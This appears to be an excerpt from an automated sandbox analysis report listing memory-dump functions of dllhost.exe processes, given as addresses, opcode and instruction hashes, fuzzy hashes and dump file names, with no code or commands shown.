Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d86752067686bfdcef5abf9ac733db1d86a59bcab0e5c9ef781f0e829d4006d2
Instruction ID: 986f263813da65bc9598b6161d36c98f0ef29e1334562d53bb7ea7d962099eae
Opcode Fuzzy Hash: d86752067686bfdcef5abf9ac733db1d86a59bcab0e5c9ef781f0e829d4006d2
Instruction Fuzzy Hash: 40216274A1891D9FDF88EF88D495EEDBBB1FF68301F11416AE50AE3255DA34E8418B80

Function 00007FFD9B893F43 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9022db60397c1f2c7afaf41a0bad73676f61fe5ea7cc001bc9c1f16d51206e02
Instruction ID: 3e3995a433df030d5a073630452b97fc1966e6ddea3efa2ca7f62fd4cdbfa7fc
Opcode Fuzzy Hash: 9022db60397c1f2c7afaf41a0bad73676f61fe5ea7cc001bc9c1f16d51206e02
Instruction Fuzzy Hash: 94216D30A0E74D4FEBB9DB64C825BB97BB1EF49310F0401BAD419D72E6CE3869458B41

Function 00007FFD9B893FC1 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d856638459cc40d0b1d510aad2d87d6460e5de11c43e2155443ac781833a86e2
Instruction ID: b35185099c28338e9d400779da3a344ab742b51835c269020b09b48262b7a45b
Opcode Fuzzy Hash: d856638459cc40d0b1d510aad2d87d6460e5de11c43e2155443ac781833a86e2
Instruction Fuzzy Hash: 1A119330A4E78E4FEBA69B648424BB97FB1EF8A300F0904BAD459D72D7CD285945C742

Function 00007FFD9B893F62 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e16ac36568e12bdad107883cc5b5e5d650e9d6ea5e3fdc0409dc02215bf9d17
Instruction ID: 69552ea4afd2844155960dc28a36d45b85099ba72eb446e5d1b36d845beff403
Opcode Fuzzy Hash: 6e16ac36568e12bdad107883cc5b5e5d650e9d6ea5e3fdc0409dc02215bf9d17
Instruction Fuzzy Hash: 6611A330E0A60E8FFBB8DB64C4257B97AB1EF89304F05153DE41DD32E5CE3869008641

Function 00007FFD9B893F86 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16dab9872920a211ec232182cf769d423f485eb29ffbe59dd9371961d16d570
Instruction ID: 62a6129a8abe43def95e427cac2ca3ead3ce5e3e6a1d4ad9e723e40d73e9a934
Opcode Fuzzy Hash: c16dab9872920a211ec232182cf769d423f485eb29ffbe59dd9371961d16d570
Instruction Fuzzy Hash: D5114231E0A64E8EFBB4EFA4C4257B97AB1EF89304F15043DD41D936E6CE39A9418705

Function 00007FFD9B893EEC Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4fc62f4a523e47c699fa39ff053e2034299d22362d86d9d28064c54a1f1f6b
Instruction ID: f65f9188e8664c82dffb9caf3b7af46eb557d5df5cf9b60a75455e3dbae70a24
Opcode Fuzzy Hash: 9b4fc62f4a523e47c699fa39ff053e2034299d22362d86d9d28064c54a1f1f6b
Instruction Fuzzy Hash: 53119E30E0A74E8FEB759F6885297B97BB1EF4A300F05107EE529D72E6CE2869409705

Function 00007FFD9B893F74 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6d42ce5313ffad96eab40add90146264f74002457b20c32cccea3fa9e1e191
Instruction ID: f1a191b59493bd88e7d4557ebc684d9cfe2b44e1244f26409194eb44b60f9bfb
Opcode Fuzzy Hash: 6e6d42ce5313ffad96eab40add90146264f74002457b20c32cccea3fa9e1e191
Instruction Fuzzy Hash: F7118E31E0AA4E8FFBB49F94C4257B97AA1EF88310F45043DD41ED36D6CE38A9419641

Function 00007FFD9B893F6B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7f696ad941ca9821364c03907c44bcadc43b1f9050dbd82a0178f820b0adf5b
Instruction ID: 9f69df1661e6e6f7b7332ae2fb041ba561e061a1e6e381485d6876cc1a09e399
Opcode Fuzzy Hash: d7f696ad941ca9821364c03907c44bcadc43b1f9050dbd82a0178f820b0adf5b
Instruction Fuzzy Hash: EC016D70A0A64E8FEBB5DF64C4257B97BA1EF89300F04047ED419D72D6CE3869419745

Function 00007FFD9B896839 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b935eec7d28fdfd9d6b6bacd31f882ff27ed8abe6f52380316bc4b89ca4efea
Instruction ID: 8fb5073dc6847f10aebade01c4d62888de37b9570bd1f8b574be8e59b5733d59
Opcode Fuzzy Hash: 6b935eec7d28fdfd9d6b6bacd31f882ff27ed8abe6f52380316bc4b89ca4efea
Instruction Fuzzy Hash: 83F08C7080E68D8FDB52EB6888686AD7FF0FF1A340F0505ABD458D71A2E73892448B01

Function 00007FFD9B8910EA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47006631f7709e7435619f7ba59dd93550db83a19a2d72a6054f57e5f80f2ccc
Instruction ID: b92b06f938977aa142e825ddf95c7076a58b6311354f33a3e5cff6d66ea22391
Opcode Fuzzy Hash: 47006631f7709e7435619f7ba59dd93550db83a19a2d72a6054f57e5f80f2ccc
Instruction Fuzzy Hash: EBE06832A0CA4C5BDF60EF6CA8166A5FBB0FBC9308F01006AE55CC30A1C2259651C380

Function 00007FFD9B894F5C Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b27ea6ed38ca0dada7d92d179c11fa9b0c08963ec278c004b0c0e038611894e
Instruction ID: 6a9cf9ee42c4f9357fa36305509d6557c21ebbd495774e12d26ca874288734ee
Opcode Fuzzy Hash: 7b27ea6ed38ca0dada7d92d179c11fa9b0c08963ec278c004b0c0e038611894e
Instruction Fuzzy Hash: EBE0D832A49E4D4FDB659B99AC2029477A5FB8D308F05026ED44CCB195D7655651C301

Function 00007FFD9B896680 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eba515f3e8ef54feed40ab9f3d9a4d1fc4bd169181b5d743bd900e9eba22529
Instruction ID: 15b63f306fb9294fa273ec7fd2113e960098a5a3d903182dd1c16264ac0e6d52
Opcode Fuzzy Hash: 7eba515f3e8ef54feed40ab9f3d9a4d1fc4bd169181b5d743bd900e9eba22529
Instruction Fuzzy Hash: 3EE06831A0D90C8BDF259F58AC1028836A0FB8D308F01026AE04CC3090D3215A55C300

Function 00007FFD9B8909D3 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8900f4e2064c6afe100705c3e9ea971718d82cee4c2cf9a3a1d73941f208319a
Instruction ID: bc280a9632d86a83de790d99f74c79a93f27567c044e9a9a7eaa3287b9d5ac9f
Opcode Fuzzy Hash: 8900f4e2064c6afe100705c3e9ea971718d82cee4c2cf9a3a1d73941f208319a
Instruction Fuzzy Hash: C9E04F32A25A1D4FDF94EB88D8995FCB7B2FB98640B01053AD04DE7152DE206C00C740

Analysis Process: dllhost.exePID: 7328, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B881EC3 Relevance: 15.3, Strings: 11, Instructions: 1538COMMON

Download Yara Rule

Strings

], xrefs: 00007FFD9B8825AB
{, xrefs: 00007FFD9B8831BC
{, xrefs: 00007FFD9B882D06
", xrefs: 00007FFD9B882463
\, xrefs: 00007FFD9B881FC5
}, xrefs: 00007FFD9B883200
[, xrefs: 00007FFD9B882567
}, xrefs: 00007FFD9B882D4A
u, xrefs: 00007FFD9B8820EC
], xrefs: 00007FFD9B88289A
[, xrefs: 00007FFD9B882856

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID: "$[$[$\$]$]$u${${$}$}
API String ID: 0-3490533229
Opcode ID: 9fac23ec6c886acc617e1635062d81a98a24f7a184906953265fb452c39d5684
Instruction ID: e85aa4a52703b9ab68d57f91ca7f66e405c32f9aa8df98d56d934f3f2204e7a1
Opcode Fuzzy Hash: 9fac23ec6c886acc617e1635062d81a98a24f7a184906953265fb452c39d5684
Instruction Fuzzy Hash: 65D2B570E1962D8FDBA8DF58C894BA9B7B1FF58301F5041EAD01DA7295DB34AA81CF40

Function 00007FFD9B881250 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9B88137D

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: d168eed7c66d70407aad21c17bc5f2192a5a3d1174424b1f9a90ae7a6e1a3fb3
Instruction ID: eab09e6bd752ca71acd0c16f02b03c5a6557d67619e203f71b8e85a97a7097d5
Opcode Fuzzy Hash: d168eed7c66d70407aad21c17bc5f2192a5a3d1174424b1f9a90ae7a6e1a3fb3
Instruction Fuzzy Hash: 9FA18374A0891C8FDB98EF58C894BA8B7F1FF69301F4541A9E01DE72A5DB74AD81CB40

Function 00007FFD9B881751 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce1ad8cb2d9e6a12fcc87f4d998532afafbbacd8654e80efe58de6694ced01d
Instruction ID: b438d2fb64e7f3062954cc94976894ca723b399cacbf7c2ca0b09e685fced9de
Opcode Fuzzy Hash: cce1ad8cb2d9e6a12fcc87f4d998532afafbbacd8654e80efe58de6694ced01d
Instruction Fuzzy Hash: 5AE19071E1965D8FDB58EB64C8A5BE8BBB1FF18300F0401BAD01DD72A2DE386981CB41

Function 00007FFD9B884843 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47e868ccef969780a1f8a7290480a521486f9c2b843e8c465d610ebf0a20e83f
Instruction ID: 51df9a811eedea6058462ec76a42dd92231f41e701685c47ab50ed588e82c12c
Opcode Fuzzy Hash: 47e868ccef969780a1f8a7290480a521486f9c2b843e8c465d610ebf0a20e83f
Instruction Fuzzy Hash: 7891F570E18A1D8FDB94EFA8D895BEDB7B1FF58300F4041AAD41DE3296DB3469818B41

Function 00007FFD9B881831 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2442e8bff5f7abd33b6acb4699dcc7d2ed094fcaf0cd672005fd0255045b535a
Instruction ID: 83c65740a38558c6163642a320295dd0e1b6131c96cb89ad2c0c536f067c6374
Opcode Fuzzy Hash: 2442e8bff5f7abd33b6acb4699dcc7d2ed094fcaf0cd672005fd0255045b535a
Instruction Fuzzy Hash: 04915D71E19A5D8FEB9CEB58C8A5BA8B7B1FF58300F4441B9D01DD72A6DE346980CB01

Function 00007FFD9B880DD9 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d85245e54ba62c4c711a3afe1bb0cb8896c57e6c35d26a38e45173b1171f933
Instruction ID: a0e7333cab045ef770fecee8ff0480375323d76cb34bb0c61c5c2381afa06ea0
Opcode Fuzzy Hash: 9d85245e54ba62c4c711a3afe1bb0cb8896c57e6c35d26a38e45173b1171f933
Instruction Fuzzy Hash: 4C716170A1994E8FDB58EF58C895EEDB7B1FF58300F1546B5D02DD729ACA34A841CB80

Function 00007FFD9B8808B1 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c565c83d8272cefd05e2b8a2914eb545f00afc844668c557308c498de24daea
Instruction ID: f6d1ea9193b624bb8a3b91be8580983df27e430b3a33c2c7cd5e683e96cf5e34
Opcode Fuzzy Hash: 1c565c83d8272cefd05e2b8a2914eb545f00afc844668c557308c498de24daea
Instruction Fuzzy Hash: AE61E331A19A4E8FEBA4EF98C8646AC77F1FF58305F0101BAD02DC71A6CB35A941C740

Function 00007FFD9B884F5C Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f37b56d745d25f4d56907a6c9f2cb9c32ecd62bfc22eca3221805106aae72f9
Instruction ID: 3afd8778671fa7a36f4adeef33481bbb3c4c7ba4b43e2c1addd1ed61c5097fdd
Opcode Fuzzy Hash: 2f37b56d745d25f4d56907a6c9f2cb9c32ecd62bfc22eca3221805106aae72f9
Instruction Fuzzy Hash: F771D470E0892C8FDBA5EF59C895BE9B7B1FB58304F5001AAD41DE3295DB35AA84CB40

Function 00007FFD9B8860C5 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc237784dd5da7022158af70cdd9790a213dc50158935b9a69f372347093766
Instruction ID: cd15a34a26f5bbeaa0a513808c23d68b1a3915d3270113875efd821ef69565e9
Opcode Fuzzy Hash: fdc237784dd5da7022158af70cdd9790a213dc50158935b9a69f372347093766
Instruction Fuzzy Hash: 2F61E271E0DA5E8FEB65DBA4C8657A87BB1FF59300F0141BAD018C32E6DB386945CB40

Function 00007FFD9B884628 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: effb2db8e017205541f376553cf01b9d823d9a68fcac29cc44507aa74ea01cb8
Instruction ID: 2452bbc63cc448a72159e4ac0ad7318dab17281130597ea1bc398bf434f8ea32
Opcode Fuzzy Hash: effb2db8e017205541f376553cf01b9d823d9a68fcac29cc44507aa74ea01cb8
Instruction Fuzzy Hash: 08519070E18A1D8FEB98EF98D8A5BADBBB1FF58301F10016AD019E7295DA746941CB40

Function 00007FFD9B880AB9 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 638daf883abf0c65f8783fc7f2a6011cec236ee8d73bef8e58c96d7f03d1d8d3
Instruction ID: af90ea98b50a3fa746a422396e9f03015e364705c409e4dd29c4c4ad92705ed8
Opcode Fuzzy Hash: 638daf883abf0c65f8783fc7f2a6011cec236ee8d73bef8e58c96d7f03d1d8d3
Instruction Fuzzy Hash: 9751EA70E19A5D8FDF98DF98C8A46EDBBB2FF68301F11012AD019E72A5CB745845CB40

Function 00007FFD9B8838B8 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0b0b8aa196e6e9d1e2535ae405bc72ec7fa970deceede3122a9177576d864e
Instruction ID: fbfe2c2b62ce7d8824585aaa841e3ca53c14b256dd8e590e13c9c7edddf8fb07
Opcode Fuzzy Hash: 8b0b0b8aa196e6e9d1e2535ae405bc72ec7fa970deceede3122a9177576d864e
Instruction Fuzzy Hash: F141BD70E0991D8FDB58EF98D860AFDBBF1FF58304F10017AE02AE7295DA34A9018B51

Function 00007FFD9B8867ED Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27dd939252d44b001bace39a00a5bba328cf341bbc162cf28aa63b147b893945
Instruction ID: 8c43b831635f4eb7cf44304e4f979f2b580a8da2c2b8d7acfa9afe9ba261acb7
Opcode Fuzzy Hash: 27dd939252d44b001bace39a00a5bba328cf341bbc162cf28aa63b147b893945
Instruction Fuzzy Hash: BF51A071D0E69E8FDB559B6498642FD7BF0FF0A310F0501BAD018E71D2DA385A48CB92

Function 00007FFD9B880C6D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1813c71e7a0b5d20f994c28816057bab3cb2283544a332eec87bfa8969f872b1
Instruction ID: 19aa9dfe1112357bed0044f15a0ac51001a5a987b777ec0e4c7c92ca9a2de174
Opcode Fuzzy Hash: 1813c71e7a0b5d20f994c28816057bab3cb2283544a332eec87bfa8969f872b1
Instruction Fuzzy Hash: DA413731D19A1D8FDB55EFA8D4546FDBBB1FF19300F01056AE019E3192DA78AA45CB80

Function 00007FFD9B881521 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df997152ad49f6af5b7e450ef9ba1632b0a4d2cd9b18c13eda98f763485ad57
Instruction ID: 5b83ec6d9ebe2705c53c84a8fd6af27f6785c040960375ebd5dda05b181889f4
Opcode Fuzzy Hash: 3df997152ad49f6af5b7e450ef9ba1632b0a4d2cd9b18c13eda98f763485ad57
Instruction Fuzzy Hash: F041F534A1991D8FDBA8EB58C8A1BACB7F1FF58304F5140A9905EE3291DE74AD818B40

Function 00007FFD9B880AD0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c8a02d876fc9fadee909d8cd29d065403abc3e6567d072b54932b8b63bcf0d5
Instruction ID: 34ff3287627c836e86626585add9f4a3b7cb9892b32a2a453c6a3a830d7ebe55
Opcode Fuzzy Hash: 3c8a02d876fc9fadee909d8cd29d065403abc3e6567d072b54932b8b63bcf0d5
Instruction Fuzzy Hash: D931FC70A1991D8FDFA8EF98C854BED77B1FFA8301F11012AD419E32A5CB34A845CB80

Function 00007FFD9B884525 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92262ff15e512f001a4ce6a5c7e0d5b2b6ecfd63cbe48d522ae44c82ffa52d57
Instruction ID: 48fe3b2c89cf307d0991be695c80edf8b361474238e3059a1ac722d5769d28d1
Opcode Fuzzy Hash: 92262ff15e512f001a4ce6a5c7e0d5b2b6ecfd63cbe48d522ae44c82ffa52d57
Instruction Fuzzy Hash: 2D312762A0EACA4FE755DF6888350AC7FA1FF55204B4A01BFD459871E7DD34A904C381

Function 00007FFD9B884BE9 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7be6330a8875a6f86b4143f983ca63055af6a10f862017968831e9ddb7a2085e
Instruction ID: 4de72b141ef3e8458bae6732e5e13610919c5d15ea7bc8042d1e1448237b7d32
Opcode Fuzzy Hash: 7be6330a8875a6f86b4143f983ca63055af6a10f862017968831e9ddb7a2085e
Instruction Fuzzy Hash: 3D419C70E096598FEB55EFA4C865AEDBBB2FF49300F4401BED018D72A6CB385981CB00

Function 00007FFD9B881129 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a57b8ac77a62704ee1c7757cb72dc05d6d94bdd4320f6c407557b0f57cc4cb
Instruction ID: c351c84ca3d9daf4a74fe39ea188dd4553133f06a1a95b9dedf137faca736915
Opcode Fuzzy Hash: 61a57b8ac77a62704ee1c7757cb72dc05d6d94bdd4320f6c407557b0f57cc4cb
Instruction Fuzzy Hash: 00217C35A1895D8FDB91EFA8D855AED7BF1FF59310F00016AE418E32A2CA389941CB80

Function 00007FFD9B883A8D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 330ddb35ad9666718b26676cb26306d82c356495e2cd0a9c1e880fe397923cf4
Instruction ID: 336d5570954360cc2335eecff9521f4657f51b76de7102daf85530f574556b91
Opcode Fuzzy Hash: 330ddb35ad9666718b26676cb26306d82c356495e2cd0a9c1e880fe397923cf4
Instruction Fuzzy Hash: C121A031A0FE8E4FEBA5DB28C8646A977A0FF49300F0A05B9D058D71E2DE75A942C740

Function 00007FFD9B883F00 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7da8b56c279855c135b935e227679d8bf195f1809689b867b090db12284acd1e
Instruction ID: 8fd252ebf6b9c5eef545416eae29469bf08706e570fe9e3f72a6f817d9025a36
Opcode Fuzzy Hash: 7da8b56c279855c135b935e227679d8bf195f1809689b867b090db12284acd1e
Instruction Fuzzy Hash: 97314D30E16A0E8FE7A8EB64C4697B972B1EF49300F0005BDD46DD72E6CE3469818B40

Function 00007FFD9B883F0B Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b880000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5600ef2a277bc2969d395f46e2cc0b8f2ca619eb9bf42714a04e3722660487c
Instruction ID: 709b6bc07f1a31e1967c3c60af0b4ee5b78d06c660145a2ea1e949a1017e54d5
Opcode Fuzzy Hash: d5600ef2a277bc2969d395f46e2cc0b8f2ca619eb9bf42714a04e3722660487c
Instruction Fuzzy Hash: F1215631E0A60E8BE774DF94C4656B973B1EF99310F050079E52D931E6DE34AA418A41

Function 00007FFD9B881048 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2304601003.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

